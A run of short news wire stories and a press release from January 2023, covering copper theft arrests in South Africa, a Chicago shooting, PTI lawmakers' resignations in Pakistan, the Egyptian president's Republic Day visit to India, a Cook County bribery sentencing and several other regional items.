South Africa: Seven arrested for possession of stolen copper cables

Police in Northam, in Limpopo, on Monday arrested seven suspects for being in possession of alleged stolen copper cables valued at R250 000.

Provincial SAPS spokesperson, Colonel Malesela Ledwaba, said the seven were apprehended while allegedly transporting suspected stolen copper cables along the Middeldrift-Koedosdorp public road.

He said police received information about suspects who were driving in a white Ford Ranger bakkie, believed to be responsible for theft of copper cables from the local farm on Sunday 22 January 2023 at about 9pm.

A tactical joint operation in collaboration with farmers was conducted in the area and subsequently, the motor vehicle fitting the description given was spotted along the said road and was tactically stopped by the Police.

The motor vehicle with four male occupants was searched and Police found copper cables and the four could not be able to accounted for their origin. The four male suspects were immediately arrested for possession of suspected stolen property, said Ledwaba.

In the process, the owner of the farm arrived at the scene and positively identified the stolen copper cables.

Ledwaba said preliminary investigations revealed that the copper cables were destined to be sold at Northam RDP Section and police proceeded to the said place.

Upon arrival, police found a 42-year-old woman believed to be the buyer of the copper with two other males in possession of various bags containing newly stripped copper cables, bathroom taps and Transnet copper wires. Ultimately, the woman admitted that she was illegally dealing with copper cables and the trio were immediately placed under arrest.

Further police investigations may possibly positively link the suspects with a series of burglaries committed in the area following theft of taps, copper pipes, air conditioners, copper pipes and crop circle motors.

The suspects aged between 29 and 46 will appear before the Northam Magistrate court soon, facing charges of possession of stolen property valued at R250 000, said Ledwaba.

Police investigations are continuing, he said.  SAnews.gov.za

This story has been published on: 2023-01-24. To contact the author, please use the contact details within the article.
From Rodeo Dreams to Preacher Cowboy

Monty Rieck authors I Am Eli, recounting his wild ride to redemption story

NEWS PROVIDED BY

Cowboy Preacher Publishing

Jan. 23, 2023

SANTA BARBARA, Calif., Jan. 23, 2023 /Christian Newswire/ -- A wild ride to redemption autobiography describes how Santa Barbara-based author and minister, Monty Riecks life transformed after chasing all the world has to offer as a rodeo cowboy growing up in Lompoc, California. The book, I Am Eli, is the first of three planned for The Cowboy Preacher Series, publishing Wednesday, January 25 on Amazon and other retail outlets including iBooks and Barnes & Noble.

In I Am Eli, Rieck offers colorful descriptions from living on a ranch, learning to rope steers and ride bulls. With dreams of becoming a professional rodeo, Rieck would also learn a lot of hard lessons about life, love, and death. He writes about falling into addiction, looking for love, making money and the fallout after his father, William Rieck, the 1968 Super Stock Car Drag Racing World Champion, passed away. Little did Rieck know, but he was the one being chased  by God  which changed everything including a new identity.

I lived the hard life and paid for it, Rieck said. With 12 surgeries to repair my body, I decided to use the time in recovery to recount many of the incredible turning points in my life. In I Am Eli, the reader will get a glimpse of my early years and hard living along with how I found the ultimate love of God. Its quite a journey with lots of bumps, bruises and brokenness that I think people will relate to.

Rieck is also planning a LIVE event on Facebook Wednesday, January 25 at 6:30pmPT, giving people a chance to interact with him, and hear bonus behind-the-scenes material.

A retired, fourth-generation plumber, Rieck resides in Santa Barbara with his wife Heidi, where he attends Calvary Chapel Santa Barbara, volunteers in his homeowners association and is teaching himself to play the fiddle. Between him and his wife, they have eight children and twelve cherished grandchildren. Subscribe to Montys news at cowboypreacher.us.

SOURCE Cowboy Preacher Publishing

CONTACT: Monty Rieck, 805-705-5699
Chicago police walk near a residential building in the 2900 block of East 78th Street, where several people were shot on Jan. 23, 2023. (Terrence Antonio James / Chicago Tribune)

Two people have died and three are injured after a shooting in the South Shore neighborhood Monday afternoon in what police described as a targeted home invasion, according to officials.

The Chicago Fire Department responded to the 2900 block of East 78th Street at about 1:45 p.m. Two people died at the scene and three others were transported to the University of Chicago Medical Center, according to fire officials. One of the three injured people went to a nearby McDonalds to seek help.

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In a Monday afternoon news conference, police Deputy Chief Sean Loughran said preliminary information indicates the people were shot during a targeted home invasion. What I can say specifically is (it) does not appear to be a random act, he added.

He confirmed one victim was able to escape to a nearby business about half a mile away. Loughran said detectives are investigating, which includes canvassing the neighborhood, identifying eyewitnesses, cataloging any video evidence and processing the crime scene.

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He said a reward of $15,000 is being offered for information related to the shooting resulting in an arrest.

According to preliminary information from fire officials, the deceased are a male in his 20s and a female in her 30s. One of the people injured, a man in his 40s, was listed in critical condition. Another injured person was a man in his late teens to early 20s.

adperez@chicagotribune.com
Forty-four lawmakers of the Pakistan Tehreek-e-Insaf (PTI) have decided to withdraw their resignations from Pakistan's National Assembly, PTI General Secretary Asad Umar announced in a tweet on Monday. Umar stated that the decision has been taken as per the instructions of PTI Chairman Imran Khan. Taking to his Twitter handle, Umar stated. "As the Speaker is not yet accepting the resignations of all the members of the Assembly, as per the instructions of the party chairman, 44 members of the Assembly have emailed the decision to withdraw their resignations to the Speaker of the National Assembly. The next step will be the nomination of the opposition leader." After the announcement of Asad Umar, the PTI lawmakers filed a request before the Election Commission of Pakistan (ECP), informing the electoral watchdog about their decision to withdraw the National Assembly resignations, The Express Tribune reported. The PTI lawmakers further stated that they have informed the National Assembly Speaker and Secretariat regarding the decision. The PTI lawmakers have stressed that they should not be denotified if the speaker accepts their resignation, as per The Express Tribune report. Notably, the ECP has already denotified several PTI members of the National Assembly after their resignations were accepted by the National Assembly Speaker. Pakistan National Assembly Speaker Raja Pervaiz Ashraf has accepted the resignation of 80 PTI MNAs with 50 still remaining pending. On January 20, Pakistan National Assembly Speaker Raja Pervaiz Ashraf accepted the resignations of 35 more Pakistan Tehreek-e-Insaf lawmakers after which the ECP denotified them, bringing the total to 80, as per the news report. 43 PTI lawmakers still awaited his decision regarding his resignation. On January 17, Pakistan Assembly Speaker accepted the resignations of 34 PTI lawmakers, Awami Muslim League (AML) chief Sheikh Rashid and they were also de-notified, as per the news report. Notably, the PTI lawmakers had resigned en masse from the lower house of the parliament after the PTI Chairman Imran Khan was ousted from power through a no-confidence motion in April 2022. (ANI)
India and Egypt, which has been invited as guest country for the Republic Day ceremony, are emerging as "ideal strategic and economic partners with potential cooperation" in defence, security, counter-terrorism, among other things, according to Egyptian analyst Mohammed Soliman. Mohammed Soliman, an Egyptian analyst, currently working as a manager at McLarty Associates, a global strategy firm based in Washington, and a non-resident scholar at the Middle East Institute said, "Egypt and India are progressively emerging as ideal strategic and economic partners, with potential cooperation in defence, security, counter-terrorism, industrialisation, pharmaceuticals, and food security." "India exempted Egypt from its recent wheat ban, and the two nations expanded their cooperation in pharmaceuticals," he added. Egypt's economic growth accelerated from 2017 through 2019 but slowed in 2020 and 2021 after it was affected by multiple global shocks. Egypt could give a fillip to economic recovery by partnering with emerging economies like India. Egypt could find a much more reliable partner for development in India without hampering its sovereignty, or ideology. The plan to develop the Suez Canal Economic Zone (SCZONE) into a global manufacturing hub is now attracting critical mass. India can make use of these investment opportunities and Indian firms could invest in the Suez Canal Economic Zone with requisite incentives. Egypt can collaborate with India in the development of Information and Communication Technology (ICT). The role of ICT in developing India's economy has garnered the attention of Egypt. ICT contributes to around 8 per cent of the total GDP in India. Recently, Egyptian Minister of Communication and Information Technology Amr Talaat visited India. Talaat's visit demonstrates Egypt's intention to seek cooperation with the Indian information technology sector. Egypt seeks cooperation with India in communications and information technology, particularly in sectors related to digital transformation, the electronics industry, setting up digital capabilities for youth, research and development, and cyber security. In 2018, Egypt signed the International Solar Alliance (ISA) framework agreement as a founding member and ratified it in January 2019. The agreement gives an opportunity to Egypt to work with India on solar energy to reduce dependence on fossil fuels. The two nations have been brought closer by the COVID-19 pandemic and after the conflict between Russia and Ukraine. Both nations have demonstrated mutual goodwill by helping each other at crucial times in the past. Egypt's dispatch of 300,000 doses of Remdesivir in May 2021 during the second wave of COVID-19 was appreciated by Indians. India also supplied wheat to Egypt as the Russia-Ukraine conflict had threatened the nation with a shortage of wheat as Egypt imported 80 per cent of the wheat from Russia and Ukraine. Meanwhile, the Egyptian government announced the inclusion of India in the list of accredited countries to supply wheat to Egypt in 2022. This time, Egyptian President Abdel Fattah El-Sisi will be the Chief Guest for India's 74th Republic Day celebrations. He will be accompanied by a high-level delegation, including five Ministers and senior officials, according to statement released by Ministry of External Affairs. Abdel Fattah El-Sisi is due to arrive in New Delhi on January 24. During his visit, Sisi is scheduled to meet Prime Minister Narendra Modi and hold discussions on bilateral, regional and global issues of mutual interest. He will also interact with the business community in India. "This is for the first time that the President of the Arab Republic of Egypt has been invited as Chief Guest on our Republic Day. A military contingent from Egyptian Army will also participate in the Republic Day parade," the Ministry of External Affairs said in an official statement. The Ministry of External Affairs stated, "The forthcoming visit of President Sisi is expected to further strengthen and deepen the time-tested partnership between India and Egypt." Notably, India and Egypt are celebrating 75 years of establishment of diplomatic ties this year. Egypt has also been invited as a 'Guest Country' during India's G20 Presidency. (ANI)
Egyptian President Abdel Fattah El-Sisi, who is the chief guest for the 74th Republic Day will arrive in New Delhi at around 6 pm on Tuesday. He will be accompanied by a high-level delegation, including five ministers and senior officials for his official visit from January 24-27. It is the first time that the President of Egypt has been invited as chief guest on India's Republic Day. On Wednesday, Sisi will be accorded a ceremonial reception at the Rashtrapati Bhawan. He is scheduled to meet President Droupadi Murmu, PM Narendra Modi, and External Affairs Minister S Jaishankar among others. With Jaishankar he will hold a meeting at the Rashtrapati Bhawan, as per a media advisory released by the MEA. On the same day, the Egyptian president will lay a wreath at the Rajghat, the memorial of the Father of the Nation, Mahatma Gandhi. He will hold a meeting with Prime Minister Narendra Modi and discuss bilateral, regional and global issues of mutual interest during his stay. The same evening, President Droupadi Murmu will host a state banquet in honour of the visiting dignitary. On Republic Day, Sisi will witness the Republic Day Parade as the chief guest. A military contingent of the Egyptian Army will march on the Rajpath along with other contingents. Sisi will attend the "at home" reception by President Murmu at Rashtrapati Bhawan. He will also hold a meeting with Vice President Jagdeep Dhankhar. He will interact with the business community in India. Sisi will return to Cairo on January 27. "This is for the first time that the President of the Arab Republic of Egypt has been invited as Chief Guest on our Republic Day. A military contingent from Egyptian Army will also participate in the Republic Day parade," the Ministry of External Affairs said in an official statement on Monday. The Ministry of External Affairs stated, "The forthcoming visit of President Sisi is expected to further strengthen and deepen the time-tested partnership between India and Egypt." Notably, India and Egypt are celebrating 75 years of establishment of diplomatic relations this year. India has also invited Egypt as a 'guest country" during its G20 Presidency. India and Egypt have "warm and friendly relations marked by civilizational, cultural and economic linkages and deep-rooted people-to-people ties", as per the MEA statement. The ties between the two nations are based on shared cultural values, commitment to strengthening economic growth, and cooperation in various sectors, including defence, security and convergence on regional and global issues. The bilateral trade between India and Egypt reached USD 7.26 billion in the financial year 2021-22, according to an MEA statement. India's exports to Egypt were worth USD 3.74 billion while Egypt's imports to India were worth USD 3.52 billion. Over 50 Indian companies have invested around USD 3.15 billion in Egypt's various sectors, including chemicals, energy, textile, garment, agri-business and retail. (ANI)
US President Joe Biden has nominated Julie Turner as special envoy on North Korean human rights issues, the White House announced in a statement on Monday. If appointed, Turner will be the first to serve the post since 2017, South Korea's Yonhap news agency reported. Julie Turner, the Director of the Office of East Asia and the Pacific in the Bureau of Democracy, Human Rights and Labor at the Department of State has been nominated as a special envoy for human rights in North Korea, the White House said in a statement. Turner speaks Korean and has worked for over 16 years in the Office of East Asia and the Pacific, focused on issues primarily related to promoting human rights in North Korea, including a tour as a special assistant in the office of the Special Envoy on North Korean human rights issues, the statement said. "Turner has served more than 16 years in the Office of East Asia and the Pacific, in positions of increasing responsibility, primarily focused on initiatives related to promoting human rights in North Korea, including a tour as Special Assistant in the Office of the Special Envoy on North Korean Human Rights Issues," it said. Earlier in 2022, the Third Committee of the United Nations General Assembly has passed a resolution condemning North Korea for human rights violations. A draft resolution on the human rights situation in North Korea was approved by consensus. The committee passed the resolution calling for efforts to improve the human rights situation in North Korea for the 18th consecutive year, as per the Yonhap news report. The resolution, led by European Union nations, expressed concern over the illegal detention, torture and execution of foreign nationals in North Korea. However, the North Korean Ambassador to the United Nations, Kim Song rejected the resolution, terming it a political scheme to tarnish the image of Pyongyang. (ANI)
Radharaman Das, Vice President, ISKCON Kolkata, has called the rise in attacks on Hindu temples in Australia "very concerning." His statement comes after a third Hindu temple was vandalised in Australia. Radharaman Das said that no action of the police against culprits has emboldened the attackers. He called for immediate arrest of those responsible for the vandalism of Hindu temples. Das said, "After Afghanistan, Pakistan, Bangladesh and UK, Hindus are not safe even in Australia. The growing attacks on Hindu temples in Australia is very concerning." He further said, "In last 15 days, three temples were vandalised. If the police would have taken action and arrested those who vandalised first Hindu temples 15 days back, that could have deterred further attacks. But, attackers are emboldened by no action and now they are openly bragging about it on social media. We demand immediate arrest of culprits." A third Hindu temple was vandalised with anti-India graffiti in Melbourne's Albert Park on Monday, days after Shri Shiva Vishnu Temple in Carrum Downs was vandalised, The Australia Today reported. The management of Melbourne's International Society for Krishna Consciousness (ISKCON) temple also known as the Hare Krishna Temple found the temple walls vandalised with anti-India graffiti in the early hours of Monday morning. Speaking to The Australia Today, Bhakta Das, Director of Communication for ISKCON temple said that they were "shocked" by the disregard for respect for the place of worship and added that they have filed the complaint with Victoria Police. Earlier, the Shri Shiva Vishnu Temple in Australia's Carrum Downs was vandalised with anti-Hindu graffiti. The act came to notice on January 16 after temple devotees came for 'darshan' amid the three-day long "Thai Pongal" festival which is being celebrated by Australia's Tamil Hindu community, as per the news report. On January 12, BAPS Swaminarayan Temple in the Mill park area of Melbourne was vandalised by anti-India elements with anti-India slogans written on the walls of the temple, located in the suburb of Mill Park, The Australia Today reported. Patel, an onlooker who does not want to reveal his first name told The Australia Today, shared how he witnessed the vandalised walls of the temple when he visited the site on Thursday. (ANI)
The man was identified as Prem Prasad Acharya.

"The 37-year-old has been identified as Prem Prasad Acharya from Illam District. He has been shifted to a hospital in Kirtipur." Dinesh Raj Mainali, SP of Metropolitan Police Complex Kathmandu told ANI over the phone.

He sustained burn injuries and is currently undergoing treatment at a hospital in Kirtipur.

The Police is yet to ascertain the motive behind self-immolation. A witness to the incident has uploaded a video on social media showing the person attempting to self-immolate while bystanders attempt to douse the fire.

Acharya is said to have poured diesel on his body and then set himself on fire when PM Dahal walked out of the parliament.

More details are awaited. (ANI)
India has formally sent invitations to all members of the Shanghai Cooperation Organization (SCO) including Pakistan and China for the upcoming foreign ministers' meeting which will be held in Goa from May 4-5. The invitation includes invites to the new Foreign Minister of China Qin Gang and Pakistani Foreign Minister Bilawal Bhutto. India took over the chairmanship of the 9-member mega grouping in September of last year and will be holding key ministerial meetings and the summit this year. "So far there is no confirmation from the Pakistani side whether Foreign Minister Bilawal will attend the meeting or not," sources said. Pakistan has not participated in the SCO Film Festival to be held in Mumbai later this month. While all countries have sent entries, Pakistan is the only country that did not send any film for screening in the group's third such film festival. "There is only one SCO member country, from which entries have not been received, there has been no response," Neerja Shekar, Additional Secretary, I&B said on Monday in a press conference. Relations between the two countries have been precarious for many years with regard to issues of cross-border terrorism from Pakistan, even as Islamabad has been seeking the restoration of Article 370 for the former Indian state of Jammu and Kashmir for any talks. Besides, FM Bilawal's remarks at the United Nations (UN) last month on PM Modi have cast a shadow over any improvement in ties between both the countries. The 20-year-old organization has Russia, India, China, Pakistan, and four central Asian countries - Kazakhstan, Kyrgyzstan, Tajikistan, and Uzbekistan as its members. Iran is the latest country to become a member and under Indian Presidency will for the first time attend the grouping's meeting as a full-fledged member. The last meeting of the Shanghai Cooperation Organization was held in Samarkand, Uzbekistan. Prime Minister Narendra Modi visited Samarkand in Uzbekistan to attend the Shanghai Cooperation Organization Summit. The 22nd Meeting of the Council of Heads of State of the SCO is the first in-person summit since 2019. India's interest in having stronger supply chains coincides with the country's ambitions to become a manufacturing hub, which, therefore, requires it to collaborate with the region's major economies. Prime Minister Modi pressed for transit rights at the summit in order to facilitate stronger supply chains through enhanced connectivity; previously, India has struggled to access Central Asian markets without transit rights across Pakistan's territory. The SCO's significance for India lies in economics and geopolitics with the Eurasian states. SCO is a potential platform to advance India's Connect Central Asia policy. The SCO member states occupy the huge landmass adjacent to India's extended neighborhood where India has both economic and security imperatives. Importance of SCO-Afghanistan Contact Group to stabilize Afghanistan. SCO membership provides India vital counter to some of the other groupings it is a part of. The SCO provides the only multilateral platform for India to deal in close proximity with Pakistan and Afghanistan. (ANI)
Egyptian President Abdel Fattah El-Sisi arrived in New Delhi on Tuesday and was accorded a warm welcome. He will be the chief guest at the 74th Republic Day parade. He is accompanied by a high-level delegation, including five ministers and senior officials for his official visit from January 24-27. As he arrived in New Delhi, the traditional folk dance is being performed to welcome Abdel Fattah El-Sisi. It is pertinent to mention that this is the first time the President of Egypt has been invited as the chief guest on Republic Day. Notably, India and Egypt are celebrating 75 years of establishment of diplomatic relations this year. India has also invited Egypt as a 'guest country" during its G20 Presidency. According to the statement released by the Ministry of External Affairs, Sisi will be accorded a ceremonial reception at the Rashtrapati Bhawan on Wednesday. He is scheduled to meet President Droupadi Murmu, Prime Minister Narendra Modi, and External Affairs Minister S Jaishankar among others, with whom he will hold a meeting at the Rashtrapati Bhawan, as per a media advisory released by the MEA. On the same day, the Egyptian president will lay a wreath at the Rajghat, the memorial of the Father of the Nation, Mahatma Gandhi. He will hold a meeting with PM Modi and discuss bilateral, regional and global issues of mutual interest during his stay. The same evening, President Droupadi Murmu will host a state banquet in honour of the visiting dignitary. On Republic Day, Sisi will witness the Republic Day Parade as the chief guest. A military contingent of the Egyptian Army will march on the Rajpath along with other contingents.Sisi will attend the "at home" reception by President Murmu at Rashtrapati Bhawan. He will also hold a meeting with Vice President Jagdeep Dhankhar. He will interact with the business community in India. Sisi will return to Cairo on January 27. "This is for the first time that the President of the Arab Republic of Egypt has been invited as Chief Guest on our Republic Day. A military contingent from Egyptian Army will also participate in the Republic Day parade," the Ministry of External Affairs said in an official statement on Monday. The Ministry of External Affairs stated, "The forthcoming visit of President Sisi is expected to further strengthen and deepen the time-tested partnership between India and Egypt." India and Egypt have "warm and friendly relations marked by civilizational, cultural and economic linkages and deep-rooted people-to-people ties", as per the MEA statement. The ties between the two nations are based on shared cultural values, commitment to strengthening economic growth, and cooperation in various sectors, including defence, security and convergence on regional and global issues. (ANI)
The Chinese distant-water fishing activities are growing rapidly and unsustainably all around the world, it is depleting global fish stocks and disrupting the marine ecosystem, reported The HK Post. Moreover, it is increasingly becoming a source of diplomatic and environmental tensions with other nations. China's distant-water fishing fleet (DWF), which operates on the high seas and also in the Exclusive Economic Zones of other countries, is the biggest fleet in the world with an estimated 2,700 ships. The distant-water fishing sector is infamous for being secretive and unregulated as many countries fail to publish their fishing data, reported The HK Post. China is often found guilty of illegal, unreported and unregulated (IUU) fishing practices, targeting prohibited species, causing irreversible environmental damage as well as intelligence gathering, espionage and space tracking. The presence of illegal Chinese DWF vessels is felt all over the world, but it is particularly worse in Africa, Latin America and Asia, reported The HK Post. Countries in the Indian Ocean Region (IOR), South China Sea region, as well as East Asian countries, and Russia, are all victims of IUU fishing and violation of EEZ by Chinese vessels. Despite the fact that the IOR has the presence of many countries in the region, the Chinese DWF fleets have increasingly become a hazard, especially in the Northern Indian Ocean region (NIOR). The NIOR is an important region as most of the world's maritime traffic passes through it, hence the presence of dubious Chinese DWFs raises concern. The NIOR, which comprises countries like India, Sri Lanka, Pakistan, Iran, and Oman, is seeing a surge in unregistered Chinese fishing vessels, reported The HK Post. According to the Indian Navy, they monitored more than 392 Chinese IUU fishing incidences in the Indian Ocean in 2021 compared to 379 in 2020. Moreover, it is also reported that spy ships disguised as fishing boats are being used by the Chinese to gather intelligence data and spy on assets of other countries, including India's Andaman and Nicobar Islands, reported The HK Post. The island nations in the NIOR like Sri Lanka and Maldives have reported the presence of Chinese DWF vessels such as squid jiggers, trawlers, and long liners that fish in the area before moving to other target areas like Oman in the Arabian Sea. While many countries have strongly opposed the fishing activities by Chinese vessels, some have taken strict measures. Indonesia, for example, has sunk many Chinese ships in the last four years which were dangerously close to their land boundary. The Quad, comprising India, Australia, Japan, and the US have announced a major regional effort under the ambit of Indo-Pacific Maritime Domain Awareness (IPDMA) aimed to provide more accurate maritime pictures of activities in the region, reported The HK Post. However, it has become imperative to introduce laws, policies and strict measures to keep the Chinese distant water fishing fleet in check. (ANI)
United States President Joe Biden called on Congress to "act quickly" over the "Assault Weapons Ban" as California witnessed two mass shootings within 48 hours, according to the statement released by the White House. Joe Biden and the first woman in the US, Jill Biden mourned for the victims who lost their lives in the two attacks in California. According to the statement, Biden said, "Yesterday, Senator Feinstein, alongside Senators Murphy, Blumenthal, and others -- reintroduced a federal Assault Weapons Ban and legislation that would raise the minimum purchase age for assault weapons to 21. Even as we await further details on these shootings, we know the scourge of gun violence across America requires stronger action." "I once again urge both chambers of Congress to act quickly and deliver this Assault Weapons Ban to my desk, and take action to keep American communities, schools, workplaces, and homes safe," he added. This statement came after California witnessed a mass shooting in the Half Moon Bay area. At least seven people were killed and one person critically injured after shootings were reported from two locations in the Half Moon Bay area in northern California of United States. "Following a briefing from my homeland security team, I have directed my administration to ensure local authorities and the broader Half Moon Bay community have the full support of the federal government in the wake of this heinous attack," Biden added in the statement. This shooting came within 48 hours of Southern California's Monterey Park's mass shooting. Earlier on Saturday a gunman shot dead 11 people in a popular dance studio in Southern California's Monterey Park. Meanwhile, regarding the shootings in Half Mon Bay, San Mateo County Sheriff Christina Corpus addressing a media briefing said that deputies found one person dead and another injured at the first location, and soon after three more people were found dead at a separate site. The Sheriff described the shooting as "horrific" and stated that the suspect who was located in his vehicle in the parking lot of a substation in Half Moon Bay was taken into custody and a semi-automatic handgun was found in his vehicle. "It's a tragedy that we hear about far too often but today has hit home here in San Mateo County," CNN quoted the Sheriff. Dave Pine in a statement released on the County of San Mateo website said, "We are sickened by today's tragedy in Half Moon Bay. The scourge of gun violence has sadly hit home. We have not even had time to grieve for those lost in the terrible shooting in Monterey Park. Gun violence must stop." The San Mateo Board of Supervisors President further said, "The State of California has among the strictest gun laws in the United States, which we have strengthened through local action here, but more must be done. The status quo cannot be tolerated." (ANI)
Danilo Barjaktarevic, left, with his attorney, Matthew McQuaid, after being sentenced to three months in prison for a guilty plea on a bribery charge at the Dirksen U.S. Courthouse on Jan. 24, 2023, in Chicago. Barjaktarevic, a deputy at the Cook County Board of Review responsible for helping property owners appeal their real estate tax valuations, agreed in January 2021 to help lower assessments for more than two dozen properties for an associate of an unnamed person. (John J. Kim / Chicago Tribune)

A former employee of the Cook County Board of Review was sentenced to three months in prison and at least one year of probation Tuesday for taking bribes to fix tax appeals on more than two dozen properties.

Danilo Barjaktarevic, who was a deputy at the board responsible for helping property owners appeal their real estate tax valuations, pleaded guilty in September to one count of bribery. Federal prosecutors had asked for up to 2 years in prison, while Barjaktarevics lawyers were seeking probation.

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Probation would send the wrong message, Assistant U.S. Attorney Thomas Peabody told the judge in the hearing at the Dirksen U.S. Courthouse. This was about greed. This was about wanting more money. He had a salary, but he wanted more.

Barjaktarevics attorney emphasized the former county employee had quickly acknowledged his actions.

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The minute that he got caught, he admitted to what he did, said Barjaktarevics lawyer, Matthew McQuaid, asking the judge to consider probation or a non-prison sentence. He has consistently cooperated. ... He can, and will, live a law-abiding life for the rest of his life.

Prior to sentencing, Barjaktarevic told the court: I am ashamed of myself. ... I should have known better.

U.S. District Judge Sharon Johnson Coleman told Barjaktarevic that making a mistake doesnt, in and of itself, mean youre a bad person. It just means you did something wrong.

However, the judge noted the offense was serious and not victimless. When you violate the law as you did, it brings everything into question, she said.

During the year of probation, Barjaktarevic will have to complete 100 hours of community service with the Greater Chicago Food Depository. Other special conditions require Barjaktarevic to repay the $21,000 he received as part of the first bribe.

Unbeknownst to Barjaktarevic, an individual named in documents only as CS-1 was a confidential source operating at the direction of the FBI, according to the plea. Barjaktarevic told the source he would accept $2,000 to lower assessments for each commercial property, while he would charge $1,000 for each residential property, for a total cost to CS-1 of $43,000, the legal document states. Half was due upfront, which the plea said was paid around Jan. 7, 2021.

Barjaktarevic updated CS-1 on the appeals process during that first cash drop in a suburban parking lot and then again via email in May 2021, detailing whether and the extent to which a propertys assessment had been lowered, according to the agreement.

The two met again in a parking lot that July, when Barjaktarevic received the second payment of $22,000, authorities said in the agreement.

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The plea suggests no other Board of Review employees were involved. Barjaktarevic falsely told CS-1 that other employees at the CCBOR would assist, the plea reads.

The Sun-Times first reported the FBI was investigating an unnamed employee at the countys Board of Review last July, citing a 45-page affidavit that was temporarily unsealed. The affidavit quoted the employee, who claimed to be a middle guy splitting the bribes with others in the office, the Sun-Times reported.

Following the report, the Board of Review put that employee on paid leave, the Sun-Times reported, and pledged to independently investigate the incident. The Board of Review signed an emergency contract with the law firm Riley Safer Holmes & Cancila worth $110,000 to conduct an internal investigation of the incident.

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That contract was set to expire in early March, but was extended  at a cost of $40,000  and scheduled again to conclude on Sep. 6. Among their responsibilities, according to the contract, was to interview Board of Review employees about the allegations and the boards security processes, review documents, draft a presentation and a comprehensive written report outlining the findings of the investigation, and represent the board in communications with federal authorities relating to the allegations.

That report has not yet been publicly released.

The Board of Review is glad that justice was served today and that Mr. Barjaktarevic will repay the money he illegally obtained. We are thankful the investigation showed what weve known all along: this was a single corrupt employee who tried to tarnish the good work done by our hard working staff by falsely implying a larger scheme, Board of Review spokesman William OShields said in a statement.

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It was not the first ethics stumble to crop up at the board in recent years. Commissioner Tammy Wendt, who was defeated in the June primary, was found in violation of ethics rules for hiring her first cousin as a top staffer. He was eventually fired. Board members have also been dinged by ethics officials for taking excess campaign donations from people seeking assessment reductions.

And the countys watchdog has also chastised board members for repeatedly recruiting employees based on their personal and political connections, and pressured employees into doing political work.

This was also not the first time Barjaktarevic had accepted bribes, according to the governments sentencing memo. He admitted that he once accepted $1,500 in cash from a taxpayer for help with property taxes. A search of the Barjaktarevics cellphone also revealed other similar instances, such as a $1,000 payment from a taxpayer in January 2021 and a $1,500 putative payment from another taxpayer in spring 2021.

adperez@chicagotribue.com
Pakistan's National Assembly Speaker Raja Pervez Ashraf approved the resignation of over 40 Pakistan Tehreek-e-Insaf lawmakers in the lower house, according to Geo News citing sources. According to the sources, Ashraf accepted the resignation of 43 more from PTI on Sunday and sent the summary to the Election Commission of Pakistan for the lawmakers' de-notification. The approval means that only dissident PTI lawmakers remain in the National Assembly now. Interestingly, this development came a day after the party announced that 45 PTI MNAs are withdrawing their resignations and also approached the ECP in this regard. According to the sources, the resignations of Muhammad Nawaz Allai and Sardar Talib Hassan Nakai were not accepted as they had submitted leave applications. Meanwhile, the PTI leader Fawad Chaudhary said that the main reason to return to the National Assembly was to remove Raja Riaz as the opposition leader otherwise the legislature had "no importance," Geo News reported. "Right now, Shehbaz Sharif has lost the support of 172 members and is relying on lotas (turncoats) to save his government," tweeted Fawad. 40 per cent of NA seats are now vacant as a result of the speaker's move to save Raja Riaz, he added. "Country is close to polls now. The only solution to this problem is general elections," said Fawad. On Monday, PTI lawmakers had requested the ECP that they should not be denotified if Speaker Ashraf approves their resignations. The PTI lawmakers had tendered their resignations after the Imran Khan-led government was ousted via a no-confidence motion in April of last year. The PTI had claimed resignations were accepted by former deputy speaker Qasim Suri in absence of the speaker after Asad Qaiser's resignation. The PTI resignations were accepted by NA Speaker Ashraf in four stages. Initially, only 11 resignations were accepted, while 34 resignations were accepted on January 17, another 35 on January 20 and now 43 have been approved, according to Geo News. (ANI)
The House of Lords member Dolar Amarshi Popat on Tuesday wrote a letter to the Director General of BBC Broadcasting House Tim Davie asking him to stop the screening of the second part of the documentary series to avoid exasperating the already tense situation between British Hindus and Muslims in many of cities across UK, advising BBC to check the facts and ensure the reporting is accurate. Popat said that he was "shocked by the documentary produced by the BBC implicating the Hon. Prime Minister of India in the Gujarat riots of 2002 which aired on January 17, 2023," adding that the broadcasting group plays an important role in educating the UK population and is a trusted source of information around the world. "The documentary was heavily one-sided and failed to reflect the series of events that have unfolded since the riots. Prime Minister Modi was cleared of his involvement by the Indian judiciary and parliament, which led helped to lead to his re-election as a trusted leader," read his letter. "India has made a lot of progress since independence on diversity and enshrines into law the protection of everyone regardless of their race, religion. or gender. Not only as the largest democracy in the world but also in a region where many countries do not offer the same freedoms, of course, it has its challenges, and they should be challenged. However, any challenge should reflect both sides whilst also being sensitive to the complexities that a condemnation of one side can bring," it added. Popat then told him to ensure this documentary doesn 't put a stain on that good record. India on Thursday denounced the controversial BBC documentary series on Prime Minister Narendra Modi and described it as a "propaganda piece" that is designed to push a discredited narrative. Addressing a weekly media briefing External Affairs Ministry Spokesperson, Arindam Bagchi said this documentary show, based on some internal UK report, shows the colonial mindset. "We think this is a propaganda piece designed to push a particular discredited narrative. The bias and the lack of objectivity and frankly continuing colonial mindset are belatedly visible," Bagchi said in response to the question on the PM documentary series. UK's National broadcaster BBC aired a two-part series attacking PM Narendra Modi's tenure as Gujarat Chief Minister during the Gujarat riots of 2002. The documentary sparked outrage and was removed from select platforms. Prominent Indian-origin UK citizens condemned the series. Prominent UK Citizen Lord Rami Ranger said the "BBC caused a great deal of hurt to over a billion Indians." (ANI)
The Indian Embassy in Kathmandu on Tuesday organized India-Nepal Startup Connect to bring together the start-up ecosystems of the two countries in association with the Confederation of Nepalese Industries Young Entrepreneurs Forum (CNIYEF). The event focused on fostering connections between India and Nepal's startup ecosystems. The event celebrated 75 years of India-Nepal diplomatic relations as well as 75 years of India's independence. The Governor of Nepal Rastra Bank Maha Prasad Adhikari was the Chief Guest at the event. Addressing the inaugural session, the Ambassador of India to Nepal, Naveen Srivastava highlighted India's G20 Presidency and Nepal's participation in the Finance Track of the G20 during India's presidency. "This year is a special year for us, it's the 75th year of India's independence and also, the 75th year of the Nepal-India diplomatic relationship. This year is also important as India is also heading the G20 forum, as you know it is a group of the 20 largest economies of the world. Under G20 chairmanship, India has put a special emphasis on promoting digital public goods," Ambassador Srivastava said addressing the event. He also mentioned the importance of digital public goods like JAM trinity (Jan Dhan Yojana, Aadhaar and Mobile Number) in enabling financial inclusion and startups. At the event, Adhikari elaborated on the theme of Digital Nepal and spoke about the year 2023 being Nepal's Digital Payment Promotion Year. He called for greater collaboration on fin-tech between India and Nepal, identifying cross-border payments and QR payments as possible areas of cooperation. "The focus area of this event, Startup connect is very much consistent with the vision of the Government of Nepal for having envisioned Digital Nepal which has been formulated "Digital Nepal 